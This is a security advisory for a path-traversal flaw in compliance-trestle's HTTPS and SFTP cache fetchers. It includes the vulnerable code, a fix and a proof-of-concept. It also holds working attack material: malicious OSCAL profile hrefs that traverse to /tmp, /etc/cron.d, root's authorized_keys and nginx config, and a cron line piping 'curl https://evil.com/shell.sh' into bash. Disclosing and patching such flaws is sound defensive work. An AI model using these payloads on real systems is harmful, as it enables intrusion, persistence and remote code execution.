PT-2026-44160 · Pypi · Compliance-Trestle
Published
2026-05-27
·
Updated
2026-05-27
·
CVE-2026-45725
CVSS v4.0
7.1
High
| Vector | AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
Summary
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (
../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File:
trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)
Version: v4.0.2 (latest as of 2026-04-30)Vulnerable Code
cache.py:259-266 — HTTPSFetcher cache path construction
class HTTPSFetcher(FetcherBase):
def init (self, trestle root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self. uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self. uri} requires hostname')
https cached dir = self. trestle cache path / u.hostname
# ❌ path parent preserves ../ sequences from URL
path parent = pathlib.Path(u.path[re.search('[^/]', u.path).span()[0] :]).parent
https cached dir = https cached dir / path parent
https cached dir.mkdir(parents=True, exist ok=True) # ❌ Creates dirs outside cache
self. cached object path = https cached dir / pathlib.Path(pathlib.Path(u.path).name)
cache.py:285-295 — Content written to traversed path
def do fetch(self) -> None:
# ...
response = requests.get(self. url, auth=auth, verify=verify, timeout=30)
if response.status code == 200:
result = response.text # ❌ Attacker-controlled content
self. cached object path.write text(result) # ❌ Written to arbitrary path
cache.py:328-333 — SFTPFetcher (identical pattern)
class SFTPFetcher(FetcherBase):
def init (self, ...):
# Identical path construction — same vulnerability
sftp cached dir = self. trestle cache path / u.hostname
path parent = pathlib.Path(u.path[re.search('[^/]', u.path).span()[0] :]).parent
sftp cached dir = sftp cached dir / path parent
sftp cached dir.mkdir(parents=True, exist ok=True)
self. cached object path = sftp cached dir / pathlib.Path(pathlib.Path(u.path).name)
Root Cause:
urlparse("https://evil.com/../../../tmp/pwned.json").path=/../../../tmp/pwned.json— preserves../pathlib.Path(u.path).parentpreserves traversal sequencescache dir / hostname / "../../../../../../tmp"resolves outside cachemkdir(parents=True, exist ok=True)creates intermediate directorieswrite text(response.text)writes attacker-controlled content to traversed path- No
is relative to()boundary check on the resolved path
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious profile.yaml — arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "https://evil.com/../../../../../../../tmp/trestle pwned.json"
PoC: Cache Path Traversal Simulation
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle root = Path(tempfile.mkdtemp(prefix="trestle poc "))
cache dir = trestle root / ".trestle" / ".cache"
cache dir.mkdir(parents=True, exist ok=True)
evil url = "https://evil.com/../../../../../../../tmp/trestle pwned.json"
u = urlparse(evil url)
# Exact trestle code path
cached dir = cache dir / u.hostname
m = re.search(r'[^/]', u.path)
path parent = Path(u.path[m.span()[0]:]).parent
cached dir = cached dir / path parent
cached dir.mkdir(parents=True, exist ok=True)
cached file = cached dir / Path(Path(u.path).name)
print(f"Cache dir: {cache dir}")
print(f"Resolved write target: {cached file.resolve()}")
# Output: /tmp/trestle pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce proof"'
cached file.write text(attacker payload)
print(f"Written: {cached file.resolve().read text()}")
# Cleanup
os.remove(str(cached file.resolve()))
shutil.rmtree(str(trestle root))
Expected: Write confined to
.trestle/.cache/ directory
Actual: File written to /tmp/trestle pwned.json (arbitrary filesystem location)Remediation
Fix for HTTPSFetcher (cache.py:259-266):
class HTTPSFetcher(FetcherBase):
def init (self, trestle root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self. uri)
https cached dir = self. trestle cache path / u.hostname
# ✅ Sanitize path: remove traversal sequences
safe path = pathlib.PurePosixPath(u.path).parts
safe path = [p for p in safe path if p != '..' and p != '/']
path parent = pathlib.Path(*safe path[:-1]) if len(safe path) > 1 else pathlib.Path('.')
https cached dir = https cached dir / path parent
https cached dir.mkdir(parents=True, exist ok=True)
self. cached object path = https cached dir / safe path[-1]
# ✅ Boundary check
if not self. cached object path.resolve().is relative to(self. trestle cache path.resolve()):
raise TrestleError(
f"Cache path traversal blocked: URL '{uri}' resolves to "
f"'{self. cached object path.resolve()}' outside cache directory"
)
Same fix required for SFTPFetcher at lines 328-333.
References
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
1. Cron Job Injection → Remote Code Execution
# Profile that writes a cron job
imports:
- href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"
Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'
2. SSH Authorized Keys Injection
imports:
- href: "https://evil.com/../../../../../../../root/.ssh/authorized keys"
Attacker's server responds with their SSH public key.
3. Config File Overwrite
imports:
- href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"
4. Python Path Hijacking
Write malicious
.py file to a location on sys.path for code execution on next import.Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Compliance-Trestle